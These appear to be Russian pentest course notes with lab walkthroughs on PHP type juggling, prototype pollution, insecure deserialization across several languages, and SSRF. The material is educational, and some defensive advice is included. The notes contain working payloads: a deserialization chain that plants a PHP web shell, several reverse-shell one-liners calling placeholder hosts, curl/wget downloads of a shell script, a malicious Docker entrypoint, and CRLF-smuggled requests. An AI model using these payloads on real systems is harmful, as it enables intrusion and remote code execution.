### Scientific notation
экспотенциальная запись чисел (слева мастиса справа компонента)
"1e1" == 10 // True
"0e32" == 0 // True
"0e2323" == "0e42424" // True (обе строки приводятся в числа и получается тру)
### Функции возвращающие Null (работает до 7 версии)
Некоторые функции PHP при получении в качестве параметра неожиданного значения не падают с Fatal Error а выводят Warning, и возвращают NULL (не роняют пхп).
Например:
**hash_hmac**
вычисляет hmac на основе хэша


В PHP >8 версии многие функции начали возвращать Fatal Error.
Пример
http://csr8.psorokin.ru:8091/?source


можно не зная пароля логина и секрета - войти в это приложение


не зная hmac вызываем состояение hooray...

null - будет сравнивать со значением hmac

SESSION[] hmac= и работает, **обошли аутентификацию**
**Массивы передаются через кадратные скобки**
в любых параметрах
Написали варданп из суперглобального массива




ассоциативный массив


docker run -p 7777:80 cth123123/php_loosecomparison
## Как защищаться?
ВСЕГДА использовать сильные операторы сравнения === !==.
in_array использовать с третьим параметром True:
in_array("value", arr, TRUE) (он сравнивает строку value c массивом arr, если передать TRUE то будет использовать сильное сравнение, если ничего не передавать/false, то будет слабое )
Logical bugs
**Логические ошибки могут быть абсолютно разными**.
Примеры:
bWAPP Captcha;
Portswigger https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass
Надо одноразовый пароль обойти

В email client portswigger - видим одноразовый код

Нам возвращается какакя то сессия

Тут второй фактор не нужен - мы убедились на втором аккаунте.
JSON - пощволяет передавать числа, массивы, булевые переменные, {} ассоциативный массив data

none - null
[1,2,3,4]
{"dcdscd:123"}

php преобразуют в массив
## PHP type juggling
201
Solve: https://www.root-me.org/en/Challenges/Web-Server/PHP-type-juggling
Исходный код: можем пердеать в auth - фнкцию json и php его декодирует.

true / 0 - будет равно строке
Логическое отрицание в PHP = NULL


auth={"data":{"login":true,"password":[]}}
Фигурными скобками обозначается ассоциативный массив в json.

none (json) = NULL (php)
## Prototype Pollution
Prototype Pollution - порча прототипа
Появилась не так давно.
На собеседовании обязательно спросили бы, для понимания как человек следит за темой.
Проблема характерная исключительно для **javascript**
В javascript нету нормальных классов.
Вместо них используются **прототипы** (prototype).
### Prototype - Реализация наследования в javascript
<Демонстрация объекта javascript и прототипа в консоли>

создаем объекты javascript


x.__proto__ вызываем прототип объекта (указывает на прототип)

object.prototype


когда мы смотрим данный прототип, то смотрим прототип на текущем объекте ххх, если нет, то смотрит на прототипе объекта х, если там нет, то на прототипе прототипа объекта х

Object - самый веррхний уровень

**Передача свойств сверху вниз.** Свойства старшего класса передаются всем наследникам.
Один раз изменили прототип и он для всех объектов node.js

Prototype
## Способы получения доступа к прототипу:
```
test_obj = {data:'fefefe',name:'xxxxx'};
test_obj.__proto__ // вернет прототип
Object.getPrototypeOf(test_obj) // Тоже вернет прототип
```
Prototype
Прототип объекта указывает на .prototype какого либо класса
(ccылка на прототип) == (настоящий прототип)
```
test_obj.__proto__ == Object.prototype
> true
```
## Prototype
Когда javascript **ищет** запрошенное **свойство** объекта test_obj.name он:
```
1. Сначала ищет name в самом объекте
2. Если не находит, то смотрит в прототипе test_obj.__proto__.name
3. Если и там нет, то в ход идет test_obj.__proto__.__proto__.name
4. И т.д. пока .__proto__!=null
```
## Prototype изменять
Прототип можно изменять через доступ к свойству **proto**
```
test_obj.__proto__.toString = function () { return 'fefefe' };
console.log ('object is ' + test_obj);
Тут у нас происходит конкатенация объекта к строке, для этого вызывается функция toString
```

вернет строку fefefe для любого объекта джава скрипта, так как поменяли функцию toString

Prototype
Изменения прототипа перманентны и **касаются всех** объектов в текущем контексте:
```
test_obj.__proto__.toString = function () { return 'fefefe' };
other_obj = {};
console.log ('object is ' + other_obj);
```
Prototype
Изменения прототипа перманентны и касаются всех объектов в текущем контексте:
```
test_obj.__proto__.toString = function () { return 'fefefe' };
other_obj = {};
console.log ('object is ' + other_obj);
Object.prototype.toString() //эта функция будет изменена
```
## Prototype Pollution
Небезопасные конструкции в коде могут приводить к возможности произвольного изменения часто используемого прототипа, например Object.prototype, атакующим. Это позволяет нарушить логику работы приложения в других местах кода.
Это позволит атакующему достигнуть того что интересно.
Prototype Pollution
## Для возникновения уязвимости нужно:
1. Возможно собственно самого Pollution - изменения прототипа
2. Использование другим кодом какого либо параметра из прототипа
Prototype Pollution
### Возможность изменения прототипа
В коде должно быть что-то такое
```
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
```
### Prototype Pollution
Возможность изменения прототипа
```
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a=__proto__
b=toString
c=xxxx
```
x.xxx = x['xxx'] **эквива**
будет DOS, так как java script использует много где to strin
Prototype Pollution
Возможность изменения прототипа
```
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a='__proto__'
b='toString'
c='xxxx'
d['__proto__']['toString']='xxxx';
```
Prototype Pollution
Возможность изменения прототипа
```
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a='__proto__'
b='toString'
c='xxxx'
d['__proto__']['toString']='xxxx';
```
**Это DoS!**
## Prototype Pollution библиотеки
Обычно такие проблемы возникают при использовании **библиотек**
unflatten (fix https://github.com/hughsk/flat/pull/106)
```
const { unflatten } = require('flat');
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
```
`unflatten({"a.b.c":333});`
Пример в консоли (npm install flat@5.0.0) (npm - пакетный менеджер для джава скрипт).

unflatten - из плоского вида переводит в древовидный массив

zzz - отображает теперь везде в коде
## Prototype Pollution
Обычно такие проблемы возникают при использовании библиотек
unflatten
```
const { unflatten } = require('flat');
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body); # unflatten делается в тело запроса
res.json(object);
});
```
`unflatten({"__proto__.isAdmin":true});`
**В одном запросе можем сделать pollution в другом запросе это использовать **
Prototype Pollution
Обычно такие проблемы возникают при использовании библиотек
### **lodash**
```
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true
```
Пример в консоли (npm install lodash@4.17.10).
в прототипе появится isAdmin
## Prototype Pollution Использование другим кодом
Использование другим кодом какого либо параметра из прототипа. Чтобы в какой то части кода эти прототипы брались и их можно было неккоректно использовать.
**Обычно выглядит как то так:**
В джаваскрипт в config передаются свойства
```
function test( response,config ) {
var file = config.file || '/tmp/123'
response.sendFile(file)
}
```
если файл лежит, то использует его, если нет, то вызывается || и вместо снадартного свойства будет использовано наше
Prototype Pollution
Использование другим кодом какого либо параметра из прототипа
Обычно выглядит как то так:
```
function test( response,config ) {
var file = config.file || '/tmp/123'
response.sendFile(file)
}
```
```
x.__proto__.file='/etc/passwd'
config = {}
var file = config.file || '/tmp/123' # является паттерном в библиотеках и часто встречается в коде
console.log(file) # записалось etc/passwd/ в переменную file
```

Мы используем такие конструкции, где значение если нет, то значение по умолчанию можем подделать
## Prototype Pollution Filter bypass
Filter bypass
Если` __proto__` блокируется, то можно использовать **constructor.prototype**.
```
> x.__proto__
[Object: null prototype] { file: '/etc/passwd' }
> x.constructor.prototype
[Object: null prototype] { file: '/etc/passwd' }
```

## Prototype Pollution
Использование другим кодом какого либо параметра из прототипа
Такие использования, которые что-то дают атакующему, называются “гаджетами”.
В ряде популярных библиотек известны гаджеты
(fork, spawn)[https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/]
(pug и handlebars)[https://blog.p6.is/AST-Injection/]
Prototype Pollution
**Паттерн javascript** он встречается повсюду
`const isAdmin = session.isAdmin || false;`
## Пример Prototype Pollution - Admin.

ручка админ проверяет сессию , если есть isAdmin, то нас аутеннтифицирует


на прототипе добавляется свойство isAdmin, оно на прототипе и не отображается.
Можем добавлять массивы в коллекцию

экплойтим библиотеку **lodash**


оptions - не обязательный параметр - если
есть параметр в options то возьмет его, если нет то по дефолту
## Известные гаджеты gadjet
https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ (внутри есть reverse shell )
Спавнится процесс node.js дочерний, когда один ноджс вызывает другой ноджс

берется env(переменная среды) либо из options либо из текущего process
И атакующий может переопределить envirement
NODE OPTIONS - env переменная nodejs, в которую можно указать опции запуска дочернего nodejs процесса
**--require - аналог include php**


в файле /proc/self/environ
https://blog.p6.is/AST-Injection/
Пример breaking grad в https://hackthebox.eu
## Prototype Pollution Client Side
Также Prototype Pollution может приводить к XSS.
Примеры:
https://habr.com/ru/company/huawei/blog/547178/
практика и эксплуатация, как искать
Гаджеты для библиотек:
https://github.com/BlackFan/client-side-prototype-pollution

Тоже приведет к Prototypr Polution on client side и на прототипе появится test со значением test
**Как проверяется**
Вставляем в URL

В консоли смотрим object.prototype.test

если появился то уязвимость есть
## Prototype Pollution Как защищаться
- Надо обновлять библиотеки.
- На известные библиотеки с Prototype Pollution, заводятся CVE. Системы SCA их обнаруживают.
- Можно попытаться заблеклистить, но это не всегда работает:
__proto__
prototype
constructor
Задания
Gunship HTB
на CTFd


prototype polution
gadjet тоже есть
## Prototype Polution on server detect

**детектим на серверной части** - prototype polution есть на node.js

"toString":true
- prototype polution есть, приложение упало

**Можно в объекты попихать __proto__**
если возвращается обратно - то prototype polution нет, если не возвращает то есть
как определить бэк приложения и язык програмирования
- по сообщению об ошибке ( они свойственны фреймворкам, конструкция языка программирования)
# Занятие 10. Небезопасная десериализация Insecure Deserialization
Четверг, 18 августа 2022г., с 19:00 до 22:00 (МСК)
Изучение сериализации, небезопасной десериализации для разных языков программирования, методы защиты от уязвимости
https://hackmd.io/25DyAKCnRq2G00S6j-GMgQ
Web App Pentest
Insecure Deserialization
Вопросы по заданиям?
# OWASP (A8 2017) -> (A8 2021): Insecure Deserialization
Небезопасная десериализация часто приводит к удаленному выполнению кода. Ошибки десериализации, не приводящие к удаленному выполнению кода, могут быть использованы для атак с повторным воспроизведением, внедрением и повышением привилегий.
## Сериализация
Процесс перевода какой-либо структуры данных в последовательность байтов
Десериализация - обратная процедура - восстановление структуры данных из последовательности байтов
## Сериализация Используется
Используется для:
- Сохранения данных
- Передачи данных по сети
Сериализация
## Сериализация в типовые форматы данных:
(Позволяют передавать плоские данные: числа, строки, булевые переменные, массивы, ассоциативные массивы) Объекты Эти форматы без расширений передавать не позволяют.
-json
-xml
-yaml
Сериализация
## Сериализация Специальные форматы, встроенные в языки:
- php - сериализация в полутекстовый формат
- java - бинарная сериализация
- .Net - бинарная сериализация
Также создано множество third-party сериализаторов для различных ЯП.
## PHP serialization
PHP serialization
**функции**: serialize(obj)(объект), unserialize(string)(строку принимает и на основе ее конструирует обратный объект)
Использует полутекстовый формат.
Пример сериализованной строки:
a:5:{i:0;s:3:"aaa";i:1;i:1;i:2;b:1;i:3;d:3.5;i:4;a:1:{s:3:"xxx";s:3:"zzz";}}
<Посмотрим на примере массив, класс>
echo serialize(1); //Сериализация

var_dump* unserialized('i:1;')); //Десиреализация
i - сокращение integer целоцелое число

целое чило 1

булев тип

s(строка): 6 символов(длина строки)
d - число в десятичном виде- с плавающей точкой
массивы

a - array(массив) в нем 3 элемента{
6 сериализованных пхп значений
индекс:значение элемента }
(потому что индекс всегда хранится)
Ассоциативный массив строки ссылаются на числа

индекс - строка, значение 32 и тд
В обычном массиве индекс не указывается
В ассоциативном массиве всегда есть индекс напрмер 'a' (число, строка)

у нас ПХП Класс
есть публичное свойство $var, $bar
есть метод $this


создаем объекты этого класса


o - object , длина 11 , дальше 2 - кол-во свойств, имя и значения свойства

десериализовали

**Сами методы не сериализуются, сериализуются свойтва/данные**
**Объекты ссылаются друг на друга**

r - ссылка (reference) на объект
## Insecure Deserialization Небезопасная сериализация
Уязвимость, при эксплуатации которой данные, полученные от атакующего проходят процедуру десериализации, что приводит к создании в уязвимом веб-приложении объектов, контролируемых атакующим.
Пример
```
class Foo{
public doStuff(){
//тут безопасный код
}
}
class Destruct{
public doStuff(){
//Тут что то опасное
}
}
$obj = unserialize($_COOKIE['foo']);
$obj->doStuff(); // Какой из методов тут вызовется?
Контролируется атакующим
```
Cookie foo - десеарилизуется

в куку можем положить
в посте - message - сериализуется и пишется в куку

десеарилизуется и вызывается process от echoer

бурп заметил сериализованные данные


сообзение взято из куки и дисереализовано

Отправляем в репитер

декодируем и оборачиваем в ЮРЛ кодировку

поменяли значение куки
Поменяли длину строки - вызвал ошибку
Меняем имя свойства - оно не показывается
Надо поменять имя и команды


Это если не поменяли message на command
`<@urlencode>O:8:"Executor":1:{s:7:"command";s:6:"ls -la";}<@/urlencode>`
На объекты пхп можно навешивать свойства, если в классе оно не определено

Это если кто то положил такой класс и мы его знаем
**Делаем эксплойт для класса Echoer**

Cоздаем объект класса executor
```
<?php
class Echoer {
public $message;
function process()
{
echo $this->message;
}
}
class Executor {
public $command;
function process()
{
system($this->command);
}
}
$x = new Executor();
$x->command='id';
echo serialize($x);
?>
```


Cookie: echoer=<@urlencode>O:8:"Executor":1:{s:7:"command";s:2:"id";}<@/urlencode>
Insecure Deserialization
Пример - Echoer
http://csr8.psorokin.ru:8106
## PHP Magic methods
Методы которые могут быть вызваны без прямого вызова:
__construct (вызывается когда объект создается)
__destruct (когда объект уходит из зоны видимости - удаляется, вызывает пхп рантайм)
__call
__callStatic
__get
__set
__isset
__unset
__sleep
__wakeup
__toString
__set_state
__clone
__invoke
PHP Magic methods
## Чаще всего используются:
- __wakeup (пробуждение - вызывается когда объект десереализуется, чтото инициализирует - коннект к БД, что то прочитать с жесткого диска
- __destruct
- __toString(когда объект класса приводится к строке)


Создадим объект класса

сериализуем этот объект

десериализуем в обджект2 - вызвался вейкап


конкатенация - вывод - toString

Перезаписали объект 1
Когда вышел из пхп и второй объект был убит, потому что продолжили в destruct
Иногда вот эти:
- __call (на классе вызываеется метод, который не определен в классе, аргумент - в виде массива)
- __get (вызывается свойство которого нет)
- __set (когда вытаются прописать свойство того чего нет )
Insecure Deserialization
Практика - создание файла http://csr8.psorokin.ru:8105

file_put_contents - сохраняет инфу в файл
**мы хотим залить шелл **
в корневую директорию залить файл. Ловим запрос, Модифицируем на объект класса file_saver. Вызывается метод destruct, после чего положит в файл наши данные.
Нам нужно внутрь массива добавить объект. Иначе фатал еррор.
```
Пример
class Executor { public $command;
function process() { system($this->command); }
}
$x = new Executor();
$x->command='id';
echo serialize($x);
```
**Shell PHP**
<?php system($_GET['c']) ?>
```
<?php
class Echoer {
class file_saver {
public $file;
public $data;
function __destruct()
{
echo "destruct is called";
file_put_contents($this->file,$this->data);
}
}
$x =new file_saver();
$x->file='shell.php';
$x->data='<?php system($_GET["c"]) ?>';
echo serialize($x);
?>
```
https://onlinephp.io
```
O:10:"file_saver":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:27:"<?php system($_GET["c"]) ?>";}
```



прям так вставили - выдал ошибку

добавили в массив 3 объект

можно было сделать массивом `[$x] `
Сделали массив - обратился к массиву и фатал эррор не произошло


Переходим по адресу
http://csr8.psorokin.ru:8105/shell.php?c=ls
Shell загружен
http://csr8.psorokin.ru:8105/shell.php?c=cat%20../../../flag.txt
flag:
omg_php_created
a:1:{i:0;O:10:"file_saver":2:{s:4:"file";s:17:"cybered_shell.php";s:4:"data";s:27:"<?php system($_GET["c"]) ?>";}}
## PHP deserialization - exploitation
Три сценария для построения эксплойта:
1. Используется тот же самый класс, что и ожидает разработчик, но меняет структуру объекта так как нужно атакующему
2. Используется другой класс, для которого определены одноименный с используемым методы
3. Используется класса с определенными магическими методами
Как правило необходима цепочка из разных классов, такую цепочку называют Gadget Chain.
## Object Injection - атака на уязвимость небезопасной сериализации
Также иногда атаку на уязвимость Insecure Deserialization называют Object Injection
## PHP deserialization - known gadgets
Классов в приложении может быть не много, да и код не известен атакующему зачастую.
Но к коду всегда подключены **фреймворки(библиотеки классов)** и стандартные библиотеки.
Существует **набор эксплойтов** для распространенных компонентов, которые часто бывают включены в проекты.
PHP deserialization - known gadgets
#php_deserialization #phpggc #php_tools
**phpggc** - инструмент, который позволяет генерировать эксплойты для таких распространенных компонентов
https://github.com/ambionics/phpggc

PHP deserialization - known gadgets
<Посмотреть код, проанализировать эксплойт>
http://csr8.psorokin.ru:8102/
phpggc



удалили куки


Воспользуемся phpggc - гаджет который позволит выполнять определенные команды в системе Laravel

./phpggc



длину пишет - 9 , потому что вокруг звездочки на пхп 2 нулевых байта

events - protected свойство , поэтому .*.

закодировали в base64
потом декодировали в юрл и d_base64


Вызвали функцию систем с параметром ID
**Обнаружение сериализации - в куках ( бурп подсветит)**

Структура эксплойта для Laravel

__destruct (на его основе наш чейн)

Если на объекте класса вызываестя метод который не определен, но метод **__call** вызовет эту функцию


Вызывает функцию по имени - стандартная функция пхп


## PHP deserialization - Как защищаться?
Не диссериализовывать пользовательские данные
Начиная с PHP 7 добавлен второй параметр в функцию unserialize, в котором разработчик может указать какие классы разрешены к созданию при десериализации.
Не десериализовывать пользовательские данные.
Значение FALSE приводит к тому, что объекты классов не будут десериализоваться вообще.

## Java serialization
Java serialization
Стандартная десериализация в Java делается с помощью readObject
```
FileInputStream fis = new FileInputStream("temp.out");
ObjectInputStream oin = new ObjectInputStream(fis);
Object ts = oin.readObject();
```
Java serialization
Сериализованный массив имеет стандартный заголовок - **ACED**. это маркер сериализованных данных.
## Java deserialization Cheat Sheet
Идея таже самая - концепция как в пхп.
Сеарилуются только данные, методы не сериализ. Классы только те что указаны целевом приложениии.
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
#cheat_sheet_java_deserialize
## Java desrialization - known gadgets
#ysoserial #java_tools_deserial
**ysoserial** - инструмент для составления цепочек гаджетов для стандартной Java десериализации
https://github.com/frohoff/ysoserial
<пример docker run -p 9005:8090 greendog/wv_java >


Строка - java нативная сериализация

rO0 - java нативная сериализация
Можно сделать гит клон - докер билд и будет ysoserial
(Иметь докер образ с джава - полезно, чтобы не запутаться в рантаймах джавы)

- docker run ysoserial

Распространенный набор библиотек commons-collection



СОхраняем в base64

ctr+U = юрл кодировку применили

Тут слепая эксплуатация, для использовния - надо прокидывать реверс шелл
## Java deserialization - Runtime.exec
Код выполняется как правило путем вызова Runtime.exec (шела тут нет )
Этот метод внутри разбивает строку по символам " \t\n\r\f", и передает полученный массив как аргументы команде, указанной в массиве первой. Обычный шелл не используется. Это не позволяет использовать кавычки для определения строки, содержащей пробелы, а также перенаправления, пайпы и т.д.
Стандартный шелл

ysosirial воспримет как 5 параметров

а бин баш ждет всю команду целиком
Мы ограничены на использование пробелов и еще на некоторые символы
## Java deserialization - Runtime.exec
1. Сначала создать файл, а потом его выполнить
Эксплойт в 2 шага
```
python2 -c "open('/tmp/file','wb').write('xxxx'.decode('base64'))"
python -c "open('/tmp/file3','wb').write(__import__('base64').b64decode('fefe'))"
curl sorokinpf.ru/reverse_shell -o /tmp/shell.txt
wget sorokinpf.ru/reverse_shell -o /tmp/shell.txt
----------------
/bin/bash /tmp/shell.txt
```
Java deserialization - Runtime.exec
2. Выполнить шелл с помощью скриптового языка, не используя пробелы:
python -c socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR IP>",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Java deserialization - Runtime.exec
3. Использовать фишку ‘/bin/bash -c $*|’, описанную вот тут: (самый удобный)
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html


приведет к тому что будет выполнена эта команда
%@ - все параметры скрипта



Передаст все параметры в sh

пример

Run Time exec - разберет конструкцию, а шелл соберет
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
```docker run ysoserial CommonsCollections1 '/bin/bash -c $*|/bin/bash x echo /bin/bash -i > /dev/tcp/<your_ip>/1337 0<&1 2>&1' | base64```
**$*(аналог $@)** - CОбирает через пробел

Далее собирае без переносов строки, копируем в бурп и поднимаем листенер

## Java deserialization - Как защищаться?
Не диссеарилизовывать недоверенные данные
Основная защита - разрешение на загрузку только определенных классов в десеализации.
В стандартной реализации отсутствует. Можно рекомендовать делать с помощью библиотеки https://github.com/ikkisoft/SerialKiller.

Рекомендации от безопасников - заблочить в white list , чем в black list
## .Net serialization
soap, xml, bin refrmater - сериализаторы
.Net serialization
Статья и видео от автора ysoserial.net:
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
https://www.youtube.com/watch?v=eDfGpu3iE4Q
## .Net deserialization - known gadgets
ysoserial.net - инструмент для составления цепочек гаджетов для различных сериализаторов .Net.
https://github.com/pwntester/ysoserial.net
Годится для кучи разных форматоров

На sharePoint - во внутрянке на любом объекте сможем пробить и дальше зависит от СVE (view state генерирует)
## Python
Pickle and Yaml
## Python pickle
**pickle** - сериализатор в python. Если сериализуется picle - это всегда RCE
Если атакующий контролирует данные, попадающие в pickle, то он может выполнить произвольный код.
Python pickle
## Генератор эксплойтов
```
import base64
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
print (pickle.dumps(Exploit(),protocol=3))
protocol - версия пикла
```



конструкция - формат байтс питона
## Python pickle
Результат будет различаться для разных версий protocol. Информация: https://docs.python.org/3/library/pickle.html#data-stream-format

В зависимости от питона - надо выбрать протоколы
Сериализация pickle ОС **зависима**. Если результат восстанавливается на Linux, то и создавать пэйлоад нужно на Linux, Windows не сработает
Для кодирования в base64:
python
Подсказка для решения задачки
```
import base64
print (base64.b64encode(pickle.dumps(......)))
```
## Python yaml
Стандартный модуль работы с yaml поддерживает две функции:
- yaml.load - позволяет выполнить произвольный код.
- yaml.safe_load - безопасный аналог
## Python yaml Пример эксплойта
```
---
!!map {
? !!str "goodbye"
: !!python/object/apply:os.system ["ls"],
}
```
```
import yaml
yaml.load(open('1.yml'),Loader=yaml.Loader)
```
<пример>


## Ruby - Yaml.load
```
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::StubSpecification
loaded_from: "| bash -c \"sh -i >& /dev/tcp/127.0.0.1/5555 0>&1\""
- !ruby/object:Gem::Source::SpecificFile
spec:
```
```
require "yaml"
YAML.load(File.read("p.yml"))
```
<пример>


Задания
на CTFd (http://psorokin.ru)
тест для самопроверки в LMS
# Занятие 11. Уязвимость Server Side Request Forgery.
Вторник, 23 августа 2022г., с 19:00 до 22:00 (МСК)
Изучение уязвимостей Server Side Request Forgery, защита веб-приложения от обращений к внутренним ресурсам.
https://hackmd.io/ZusvfzzTSX28EqTRZCYmvA
SSRF
Server Side Request Forgery - подделка запроса
## A10:2021-Server-Side Request Forgery
Атака, при которой атакующий заставляет уязвимый веб-сервер выполнять полезные для него сетевые запросы.
## SSRF
Реализация атаки SSRF может позволить:
- выполнять запросы на недоступные из внешней сети ресурсы
- сканировать внутреннюю сеть
- обходить проверки и ограничения
## SSRF возникает
Возникает когда атакующий может передать в параметрах URL-адрес или DNS-имя + порт, ip adress или другие “координаты” сервиса и уязвимое веб-приложение использует их для выполнения запроса.
(пример: подгружает ссылку в личный кабинет на свой сайт )
SSRF
<обзор docker-compose (маленький аркестратор докера),
пример базовый, задание Simple>
Внутри файла описывает локалльную сеть
http://csr8.psorokin.ru:8110/
basic

http://elastic:9200

elastic search - бд, в которой хранятся логи, трейсы. Имеет специальный формат , разные форматы в него заводят.
http://csr8.psorokin.ru/challenges#Simple-60
Simple
201
Прочитайте флаг с хоста internal_web http://csr8.psorokin.ru:8110/ssrf_insecure.php

прочитали флаг с хоста, перейдя по ссылке http://internal_web
SSRF
<пример elasticsearch>
http://elastic:9200/_cat/indices - список индексов

прочитали индекс
http://elastic:9200/new_index/_search
![Uploading file..._bc7p63cj1]()

http://host:9200/index1/_search - вывод данных в индексе
Документации: https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html
Через эластик можно много выводить, но не все
```
Elastic
201
На внутреннем хосте elastic открыт порт elasticsearch 9200.
Используя http://csr8.psorokin.ru:8110/ssrf_insecure.php обратитесь к elastic, найдите нужный индекс и прочитайте флаг.
```
http://elastic:9200/ind3x_with_fl4g/_search
ind3x_with_fl4g
hackeru{3El4sST1IcC}

## SSRF Blind
#ssrf_blind
Атакующий может отправлять запросы на ресурсы внутренней сети и анализировать ответы или время получения ответа.
<Пример Blind SSRF: Сканирование портов>
Как понять что есть во внутренней сети - отправляемся в BURP
Брутим айпи на порты
http://csr8.psorokin.ru:8110/ssrf_scan.php

Attack type: Cluster bomb - двойной брут

в один список указываем порты, во второй - адрес

![Uploading file..._4m587zc1r]()


В реальности страницы отвечают долго и по времени можно определить что есть, а чего нет
**columns - response ressive** - в бурпе отображает по времени ответа

CTRL + колонка - копируем колонку целивом в интрудер бурп
МОжно сохранять таблицу - когда 2 пейлоада - это удобнее
## SSRF - адреса
IP:
192.168.X.Y (х. - оставить 1-10 (ищем подсети), а y от 1 до 255. (22,80,445))
172.X.0.Y

Если ничего не нашлось, то можно искать по всему диапазону.
Также нужно попробовать DNS-имена из листов.


Может позволить найти ресурсы во внутренней сети без знания айпи
22,80,445 порты во внутренней сети - **быстрый скан**
## Обнаружение SSRF
#ssrf
Задаем координаты по которым делается запрос, то просто пытаемся менять и брутить внутренние ресурсы. Ищем хосты
(загрузка аватарки по ссылке - раньше было - приложение ходило по ссылке и забирало в базу) / Когда надо куда сходить
## SSRF - CRLF injection (возврат каретки) /n/r
Cтандартная штука
Чтобы мы могли добавлять команды в текстовые протоколы или заголовки/тело в HTTP-запросы нам нужна возможность добавлять новые строки.
Разделение/расщепление http запроса.
## SSRF - CRLF injection инъекция символов переноса строки
Если цель - HTTP, и запрос мы контролируем не полностью, то мы можем отправить два запроса в одном TCP-соединении.
HTTP-заголовок:
**Connection: keep-alive** (если заголовок передается в запросе клиентом, то он не будет закрываться сразу, а будет ждать запроса в том же соединении)
В хттп - 1 запрос -1 соединение
Если он установлен, веб-приложение не будет разрывать соединение и выполнит второй HTTP-запрос в том же соединении.
получаем 2 http ответа в 1 запросе

<пример с запросом на internal_web>
SSRF - CRLF injection
http://csr8.psorokin.ru:8110/ssrf_crlf.php
открывается сокет и в него вставляется информация
\r\n - окончание заголовка




<пример - удаление индекса в elasticsearch> в базе данных
## SSRF - упражнение
http://csr8.psorokin.ru/challenges#Only%20localhost%20bypass-59
<Попасть в админскую секцию /admin.php через ssrf_check.php>
http://csr8.psorokin.ru:8110/admin.php?source

Заставляем сервер отправить самому себе запрос
[20:43] Павел Сорокин
http://csr8.psorokin.ru:8110/admin.php
[20:43] Павел Сорокин
http://csr8.psorokin.ru:8110/ssrf_crlf.php
```
POST /ssrf_crlf.php HTTP/1.1
Host: csr8.psorokin.ru:8110
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://csr8.psorokin.ru:8110
Connection: close
Referer: http://csr8.psorokin.ru:8110/ssrf_crlf.php
Upgrade-Insecure-Requests: 1
auto_server=localhost&auto_server_port=80&VIN=xsds HTTP/1.1
Host: ya.ru
Connection: keep-alive
GET /admin.php HTTP/1.1
Host: ya.ru
```

l0c41H0$T_CH3Ck_Bp$3D
**Заставили сервер обойти защиту и прочитали флаг на странице /admin.php**
Важно в данной атаке - 2 переноса строки после keep-alive и в конце после всего запроса - 2 переноса
![Uploading file..._58wad912g]()
Можно по разному вставлять значения - несколько
Бывают уязвимости библиотеки питона
http://example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/...
Была такая уязвимость в питоне
## SSRF - схемы
#ssrf_schem
Возможно полезные схемы:
file://
data://
php://
## SSRF - защита (1 идея)
Веб-приложения для защиты от обращений к внутренним ресурсам могут проверять IP-адреса передаваемых URL, убеждаться что **они не локальные**.
<пример>

Проверяет что айпи начинается с 192,172,127,10
Если атакующий заходит с айпи этих, то ему доступ закрыт.
169.254 - используется гугл клаудом и амазоном. В нем хранится мета-информация
**Обход**
Записать айпи адрес по другому - преобразовать айпи в число


2 ДНС ЗАПРОСА МОГУТ БЫТЬ В ЭТОМ КОДЕ
![Uploading file..._ia3hr4tcf]()
- Необходимо развернуть свой ДНС сервер и реализовать атаку
## SSRF - DNS rebinding
Веб-приложение выполняет 2 DNS запроса, один для проверки, другой для отправки запроса. Мы можем передать контролируемое доменное имя, DNS-ответы для которого будут изменяться.
## SSRF - DNS rebinding
http://1u.ms/ - ресурс, позволяющие **реализовать** такую **атаку**




Когда просто резолвим то обращаемся к А записи, а в данном случае он обратится к NS записи.
Можно свой ДНС сервер поднять, но нужно доменное имя.

<пример обхода ssrf_check.php - читаем internal_web>
![Uploading file..._nx9wwhwkz]()
![Uploading file..._ae79795jb]()

**ОТ SSRF очень сложно защищаться**
АТАКИ на URL parsing
! Изучить этот доклад
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
## SSRF - атакуем докер
Проверим что docker socket работает
GET запрос на
/v1.41/containers/json - список контейнеров
/v1.41/images /json - список image
SSRF - атакуем докер
Билдим “злой” имадж
FROM alpine
RUN apk add bash
ENTRYPOINT /bin/bash -c '/bin/bash -i &>/dev/tcp/$host/$port 0<&1'
(можно пропустить этот шаг)
SSRF - атакуем докер

Закрепимся
Добавим в директорию ./ssh


Смотрим трафик
socat -v -ls TCP-LISTEN:2375,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
## SSRF - атакуем докер
